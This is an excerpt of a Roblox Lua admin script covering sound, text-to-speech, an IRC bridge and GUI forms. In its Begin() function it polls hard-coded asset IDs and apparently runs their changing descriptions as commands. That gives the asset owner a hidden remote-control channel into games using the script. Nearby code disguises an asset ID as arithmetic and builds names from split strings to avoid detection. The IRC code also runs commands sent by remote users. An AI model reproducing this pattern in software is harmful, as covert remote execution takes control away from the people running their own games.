3285 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3286 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3287
3288 CORE:ExecuteResource("CalculateScrollY", Description)
3289 end
3290
3291 Info.Text = [[
3292Creator: ]]..Product.Creator.Name..[[
3293Created: ]]..CreatedText..[[
3294Updated: ]]..UpdatedText..[[
3295Sold: ]]..Product.Sales..[[
3296]]
3297
3298 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3299 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3300
3301 if Product.AssetTypeId == 3 then
3302 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3303 if PlayerAdmin == true then
3304 local Playing = false
3305 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3306 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3307 if Playing == false then
3308 SOUND:PlayGlobalSound(ProductID)
3309 if Rank == "Member" and Settings.DisableAbuse == true then
3310 Interact:Destroy()
3311 end
3312 Interact.Image = "rbxassetid://67950809"
3313 Playing = true
3314 else
3315 SOUND:StopGlobalSound()
3316 Interact.Image = "rbxassetid://67950784"
3317 Playing = false
3318 end
3319 end)
3320 end
3321 end
3322
3323 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3324 if BuyPressFunc then
3325 BuyPressFunc()
3326 elseif Product.AssetTypeId == 9 then
3327 Server.TS:Teleport(ProductID, Player)
3328 elseif CanBuy == true then
3329 Server.MPS:PromptPurchase(Player, ProductID)
3330 end end)
3331 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3332 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3333 while wait(5) do
3334 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3335 if OldVer ~= Purchase.Updated then
3336 OldVer = Purchase.Updated
3337 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3338 end
3339 end end)()
3340end end)() end
3341
3342-- Sound functions --
3343
3344function SOUND:SyncSoundList(TellSync)
3345 if not CORE:NilPlayer(TellSync) then
3346 GUI:SendHint(TellSync, "Syncing...", 5)
3347 end
3348
3349 SoundList,GlobalSoundList = {},{}
3350
3351 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3352
3353 if LocalSoundList then
3354 if type(LocalSoundList) == "table" then
3355 if #LocalSoundList > 0 then
3356 for _,Data in pairs(LocalSoundList) do
3357 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3358 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3359 end
3360 end
3361 end
3362 end
3363
3364 for _,JSONID in pairs(SoundJSONs) do
3365 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3366 local SoundInfo = MARKET:GetItemInfo(ID, true)
3367 local FullName = SoundInfo.Name
3368 local CreatorName = SoundInfo.Creator.Name
3369 SoundList[Name] = {ID, FullName, CreatorName}
3370 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3371 end
3372 end
3373
3374 if not CORE:NilPlayer(TellSync) then
3375 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3376 end
3377end
3378
3379function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3380 if not Volume then Volume = 0.5 end
3381 if not Pitch then Pitch = 1 end
3382 if tonumber(ID) then ID = "rbxassetid://"..ID end
3383 if Looped == nil then Looped = false end
3384
3385 local Sound = Instance.new("Sound", Parent)
3386 Sound.Pitch = Pitch
3387 Sound.Volume = Volume
3388 Sound.SoundId = ID
3389 Sound.Looped = Looped
3390 return Sound
3391end
3392
3393function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3394 if not Player or not ID then return nil end
3395 if NotifySounds[ID] then ID = NotifySounds[ID] end
3396 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3397 if Settings.EnableSounds or OverrideSettings then
3398 coroutine.wrap(function()
3399 wait()
3400 ClientSound:Play()
3401 Delay(5, function() ClientSound:Destroy() end)
3402 end)()
3403 end
3404 return Sound
3405end
3406
3407function SOUND:BindButton(Button)
3408 if not Button then return end
3409 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3410 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3411end
3412
3413function SOUND:StopGlobalSound()
3414 if Sound and Sound.Parent then
3415 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3416 Sound.Parent:Destroy()
3417 end
3418
3419 Sound:Stop()
3420 Sound:Destroy()
3421 Sound.SoundId = ""
3422 end
3423end
3424
3425function SOUND:PlayGlobalSound(ID, ShowInfo)
3426 SOUND:StopGlobalSound()
3427 if ShowInfo == nil then ShowInfo = true end
3428 local SoundID = ID
3429 local SoundName = nil
3430 local SoundCreator = nil
3431 local Pitch = 1
3432
3433 for Name,Info in pairs(SoundList) do
3434 if type(SoundID) == "string" then
3435 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3436 SoundID = Info[1]
3437 SoundName = Info[2]
3438 SoundCreator = Info[3]
3439 end
3440 else
3441 break
3442 end
3443 end
3444
3445 if tonumber(SoundID) and not SoundName then
3446 local Info = MARKET:GetItemInfo(SoundID, true)
3447 if Info then
3448 SoundName = Info.Name
3449 SoundCreator = Info.Creator.Name
3450 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3451 SoundID = nil
3452 end
3453 end
3454 end
3455
3456 if tonumber(SoundID) then
3457 if SoundID == 131201443 then Pitch = -1 end
3458 if SoundID == 130775695 then Pitch = 0.8 end
3459 if SoundID == 144035866 then Pitch = 0.8 end
3460
3461 local SoundParent = Server.Workspace
3462 if IsSB then
3463 SoundParent = Instance.new("Script", Workspace)
3464 SoundParent.Name = "M".."ML'S Admin Sound"
3465 end
3466 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3467 Sound.Name = "MML's Admin Sound "..SoundID
3468 Sound:Play()
3469 if ShowInfo == true then
3470 for _,Player in pairs(Server.Players:GetPlayers()) do
3471 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3472 end
3473 end
3474 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3475 end
3476end
3477
3478function SOUND:ConvertText(Text)
3479 Text = string.lower(tostring(Text))
3480 local Letters = {}
3481 local IDs = {}
3482 for Rule,Replace in pairs(TextConverter.Pronounce) do
3483 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3484 end
3485 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3486 local Start, End = string.find(Text, string.lower(Rule))
3487
3488 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3489 Text = string.gsub(Text, string.lower(Rule), Replace)
3490 end
3491 end
3492 for i = 1,#Text do
3493 table.insert(Letters, string.sub(Text,i,i))
3494 end
3495 for Num = 1,#Letters do
3496 if not Letters[Num] then break end
3497 local Letter = Letters[Num]
3498
3499 local function AddLetter()
3500 table.insert(IDs, TextConverter.LetterSounds[Letter])
3501 end
3502
3503 if Letter ~= "~" then
3504 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3505 table.insert(IDs, TextConverter.LetterSounds["oo"])
3506 table.remove(Letters, Num + 1)
3507 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3508 table.insert(IDs, TextConverter.LetterSounds["oo"])
3509 table.remove(Letters, Num + 1)
3510 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3511 table.insert(IDs, TextConverter.LetterSounds["th"])
3512 table.remove(Letters, Num + 1)
3513 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3514 table.insert(IDs, TextConverter.LetterSounds["sh"])
3515 table.remove(Letters, Num + 1)
3516 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3517 table.insert(IDs, TextConverter.LongVowels["e"])
3518 table.remove(Letters, Num + 1)
3519 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3520 table.insert(IDs, TextConverter.LetterSounds["wh"])
3521 table.remove(Letters, Num + 1)
3522 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3523 table.insert(IDs, TextConverter.LetterSounds["ch"])
3524 table.remove(Letters, Num + 1)
3525 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3526 table.insert(IDs, TextConverter.LetterSounds["f"])
3527 table.remove(Letters, Num + 1)
3528 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3529 table.insert(IDs, TextConverter.LetterSounds[Num])
3530 Letters[Num + 1] = "j"
3531 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3532 table.insert(IDs, TextConverter.LetterSounds["oo"])
3533 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3534 table.insert(IDs, TextConverter.LongVowels["e"])
3535 table.remove(Letters, Num + 1)
3536 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3537 table.insert(IDs, TextConverter.LongVowels["e"])
3538 table.remove(Letters, Num + 1)
3539 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3540 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3541 table.insert(IDs, TextConverter.LetterSounds["s"])
3542 Letters[Num + 1] = "~"
3543 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3544 table.insert(IDs, TextConverter.LongVowels[Letter])
3545 Letters[Num + 2] = "~"
3546 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3547 table.insert(IDs, TextConverter.LongVowels["i"])
3548 Letters[Num + 1] = "~"
3549 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3550 table.insert(IDs, TextConverter.LongVowels["o"])
3551 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3552 table.insert(IDs, TextConverter.LongVowels["i"])
3553 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3554 AddLetter()
3555 table.remove(Letters, Num + 1)
3556 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3557 Letters[Num] = "~"
3558 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3559 AddLetter()
3560 table.remove(Letters, Num + 1)
3561 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3562 AddLetter()
3563 table.remove(Letters, Num + 1)
3564 elseif Letters[Num+1] == Letter then
3565 table.remove(Letters, Num)
3566 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3567 AddLetter()
3568 table.remove(Letters, Num)
3569 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3570 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3571 elseif TextConverter.LetterSounds[Letter] then
3572 AddLetter()
3573 elseif STRING:IsSpacer(Letter) then
3574 table.insert(IDs, "Rest")
3575 end
3576 end
3577 end
3578
3579 return IDs
3580end
3581
3582function SOUND:StopSpeaking() coroutine.wrap(function()
3583 NoSpeak = true
3584 wait(1)
3585 NoSpeak = false
3586 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3587 if Obj.Name == "M".."M".."L Speak Sound" then
3588 Obj:Destroy()
3589 end
3590 end
3591end)() end
3592
3593function SOUND:SayConvertedText(IDs, Parent)
3594 if not Parent then Parent = Server.Workspace end
3595 local Sounds = {}
3596 for _,Data in pairs(IDs) do
3597 if NoSpeak and Parent == Server.Workspace then
3598 break
3599 end
3600 local Length = 0.3
3601 if Data ~= "Rest" then
3602 local ID = Data[1]
3603 Length = Data[2]
3604
3605 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3606 Sound.Name = "MML Speak Sound"
3607 table.insert(Sounds, Sound)
3608 Sound:Play()
3609 if Length then
3610 coroutine.wrap(function()
3611 wait(Length)
3612 Sound:Stop()
3613 end)()
3614 end
3615 end
3616 if not Length then Length = 0.3 end
3617 wait(Length/2)
3618 end
3619 coroutine.wrap(function()
3620 wait(1)
3621 for _,Sound in pairs(Sounds) do
3622 Sound:Destroy()
3623 end
3624 end)()
3625end
3626
3627local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3628
3629function SOUND:BeepPlayer(Player)
3630 if Player:FindFirstChild("PlayerGui") then
3631 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3632 Beep.Name = "Annoy"
3633 Beep:Play()
3634 end
3635end
3636
3637function SOUND:ClearInfo()
3638 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3639end
3640
3641-- IRC functions --
3642
3643function IRC:GenerateName()
3644 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3645end
3646
3647function IRC:AddChat(Name, Data, IsError)
3648 if not IsError then IsError = false end
3649 CORE:Log(IRC.Logs, Name, Data)
3650 table.insert(IRC.Chats, {Name, Data, IsError})
3651 IRC.MessageAdded:Fire(Name, Data, IsError)
3652end
3653
3654function IRC:Post(URL,Data)
3655 if Data and Data ~= "" then
3656 local Suc,Resp = ypcall(function()
3657 return Server.HS:PostAsync(
3658 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3659 Data,
3660 Enum.HttpContentType.ApplicationUrlEncoded
3661 )
3662 end)
3663 if not Suc then
3664 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3665 return false
3666 end
3667 IRC.SessionCounter = IRC.SessionCounter + 1
3668 return Resp
3669 else
3670 IRC:AddChat("[ CLIENT ]", "Unknown error")
3671 end
3672end
3673
3674function IRC:Send(Data)
3675 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3676end
3677
3678function IRC:GetData()
3679 return IRC:Post("s","&s="..IRC.SessionID)
3680end
3681
3682function IRC:Connect()
3683 return IRC:Post("n","&nick="..IRC.NickName)
3684end
3685
3686function IRC:Join(Channel)
3687 if not Channel then
3688 AddChat("[ CLIENT ]", "No channel specified!")
3689 return false
3690 else
3691 local Channel = string.lower(Channel)
3692 if string.sub(Channel,1,1) ~= "#" then
3693 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3694 return false
3695 end
3696 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3697 IRC:Send("JOIN "..Channel)
3698 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3699 return true
3700 end
3701end
3702
3703function IRC:Pong(Data)
3704 return IRC:Send("PONG :"..Data)
3705end
3706
3707function IRC:Quit(Reason)
3708 IRC.Stop = true
3709 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3710end
3711
3712function IRC:ReceiveData()
3713 IRC.Stop = false
3714 local Data = IRC:GetData()
3715 if Data then
3716 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3717 end
3718 while Data and not Stop do
3719 local Data = IRC:GetData()
3720 if Data and #Data > 0 then
3721 IRC:HandleResponse(REMOTE:Decode(Data))
3722 end
3723 wait(2) -- Don't spam the server
3724 end
3725 if not Data then
3726 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3727 end
3728 if Stop == true then
3729 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3730 end
3731end
3732
3733function IRC:ConnectToServer(Server)
3734 if Connected then
3735 if not IRC.Servers[Server] then
3736 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3737 return false
3738 end
3739 IRC:Quit("New Connection")
3740 end
3741 local Response = IRC:Connect()
3742 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3743 local Data = REMOTE:Decode(Response)
3744 IRC.SessionID = Data[2]
3745 wait(1)
3746 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3747 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3748 IRC:Quit()
3749 IRC:ConnectToServer(Server)
3750 end
3751 IRC.Connected = true
3752 IRC:Join(Settings.IRCChannel)
3753 IRC:ReceiveData()
3754 IRC.Connected = false
3755 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3756end
3757
3758function IRC:FindUser(UserName)
3759 for UserID,User in pairs(IRC.Users) do
3760 if string.lower(User) == string.lower(UserName) then
3761 return UserID
3762 end
3763 end
3764 return nil
3765end
3766
3767function IRC:HandleResponse(Data)
3768 if type(Data) ~= "table" then
3769 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3770 ypcall(function()
3771 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3772 end)
3773 return false
3774 end
3775 for _,Output in pairs(Data) do
3776 if type(Output) == "table" and Output[2] then
3777 local ID = string.upper(Output[2])
3778 if not IRC.Ignore[ID] then
3779 if ID == "PING" then
3780 IRC:Pong(Output[4][1])
3781 elseif ID == "PRIVMSG" then
3782 local SenderDetails = Output[3]
3783 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3784 local Channel = string.lower(Output[4][1])
3785 if Channel == IRC.NickName then
3786 Channel = Sender
3787 -- TODO: Handle PM's
3788 end
3789 local Message = Output[4][2]
3790 if Message ~= nil then
3791 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3792 if string.find(Message,":") then
3793 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3794 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3795 IRC:AddChat(IRCUser, IRCMessage)
3796 end
3797 else
3798 IRC:AddChat("[ IRC ] "..Sender,Message)
3799 for _,Name in pairs(Settings.IRCCommandExecuters) do
3800 if string.lower(Name) == string.lower(Sender) then
3801 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3802 break
3803 end
3804 end
3805 end
3806 else
3807 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3808 end
3809 elseif ID == "NICK" then
3810 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3811 -- change nickname?
3812 elseif ID == "433" or ID == "451" then
3813 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3814 IRC:Quit("Nickname in use, rejoining with new name")
3815 IRC.NickName = IRC:GenerateName()
3816 wait(2) -- wait for old sessions to end
3817 IRC:ConnectToServer(Settings.IRCServer)
3818 elseif ID == "353" then
3819 if Data[4][4][4] then
3820 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3821 table.insert(IRC.Users, Output)
3822 end
3823 end
3824 elseif ID == "QUIT" or ID == "PART" then
3825 for User in string.gmatch(Data[1][3], "[^!~]+") do
3826 if IRC:FindUser(User) then
3827 IRC:AddChat("[ IRC ]", User.." has left")
3828 table.remove(IRC.Users, IRC:FindUser(User))
3829 end
3830 end
3831 elseif ID == "JOIN" then
3832 for User in string.gmatch(Data[1][3], "[^!~]+") do
3833 if not string.find(User, "qwebirc") then
3834 IRC:AddChat("[ IRC ]", User.." has joined")
3835 table.insert(IRC.Users,w)
3836 end
3837 end
3838 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3839 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3840 --IRC:Quit("Connection lost")
3841 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3842 --IRC:ConnectToServer(Settings.IRCServer)
3843 elseif IRC.Codes[ID] then
3844 --print(ID)
3845 --print(Data[i][4][2])
3846 --print(Data[i][4][2])
3847 elseif ID == "KICK" then
3848 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3849 IRC:Quit("Kicked from IRC")
3850 elseif ID then
3851 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3852 else
3853 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3854 end
3855 end
3856 else
3857 if Output == false then return false end -- sneeky server
3858 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3859 end
3860 end
3861end
3862
3863-- GUI functions --
3864
3865function GUI:GetColor(ColorName)
3866 if not ColorName then ColorName = Settings.ColorScheme end
3867 return Colors[string.upper(ColorName)]
3868end
3869
3870function GUI:ContrastColor(Color)
3871 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3872 if not Color then Color = GUI:GetColor() end
3873 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3874end
3875
3876
3877function GUI:GetNameColor(Name)
3878 local Val = 0
3879 for i = 1, #Name do
3880 local CVal = string.byte(string.sub(Name, i, i))
3881 local RevIndex = #Name - i + 1
3882 if #Name%2 == 1 then
3883 RevIndex = RevIndex - 1
3884 end
3885 if RevIndex%4 >= 2 then
3886 CVal = -CVal
3887 end
3888 Val = Val + CVal
3889 end
3890 local Index = Val%8 + 1
3891
3892 return BrickColor.new(ChatColors[Index])
3893end
3894
3895function GUI:Color3ToHex(Color)
3896 local function ConvertNumber(Number)
3897 local HexString = "0123456789abcdef"
3898 local Byte = ""
3899 while Number > 0 do
3900 local Calc = math.fmod(Number, 16)
3901 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3902 Number = math.floor(Number / 16)
3903 end
3904 if Calc == "" then
3905 Byte = "00"
3906 elseif #Byte == 1 then
3907 Byte = "0"..Byte
3908 elseif Byte == "" then
3909 Byte = "00"
3910 end
3911 return Byte
3912 end
3913 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3914end
3915
3916function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3917 if not Player then return nil end
3918 if not Player:FindFirstChild("PlayerGui") then return nil end
3919 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3920 if not TitleText then TitleText = "Unknown" end
3921 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3922 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3923 if not IconID then IconID = 19919809 end
3924 if ShowFormButtons == nil then ShowFormButtons = true end
3925 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3926 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3927 if AutoOffset == nil then AutoOffset = true end
3928 if Icons[IconID] then IconID = Icons[IconID] end
3929 if TweenPosition == nil then TweenPosition = true end
3930 if NoModal == nil then NoModal = false end
3931 if NoScrollFrame == nil then NoScrollFrame = false end
3932
3933 local IsClosed = false
3934 local Minus = nil
3935 local Offset = 0
3936 local ContentType = "ScrollingFrame"
3937 local TweenSpeed = 0.3
3938
3939 if AutoOffset then
3940 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3941 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3942 if Item.IsActive.Value == true then
3943 if Item.IsTrueForm.Value == true then
3944 Offset = Offset + 50
3945 end
3946 end
3947 end
3948 end
3949 end
3950
3951 if NoScrollFrame == true then
3952 ContentType = "Frame"
3953 end
3954
3955 SOUND:PlayNotification(Player, 155331654)
3956
3957 local Position = Position + UDim2.new(0,Offset,0,Offset)
3958 local MinimizePos = Position
3959
3960 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3961 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3962 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3963
3964 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3965 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3966 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3967 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3968 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3969 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3970 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3971 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3972 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3973
3974 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3975 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3976 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3977 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3978 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3979
3980 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3981
3982 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3983
3984 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
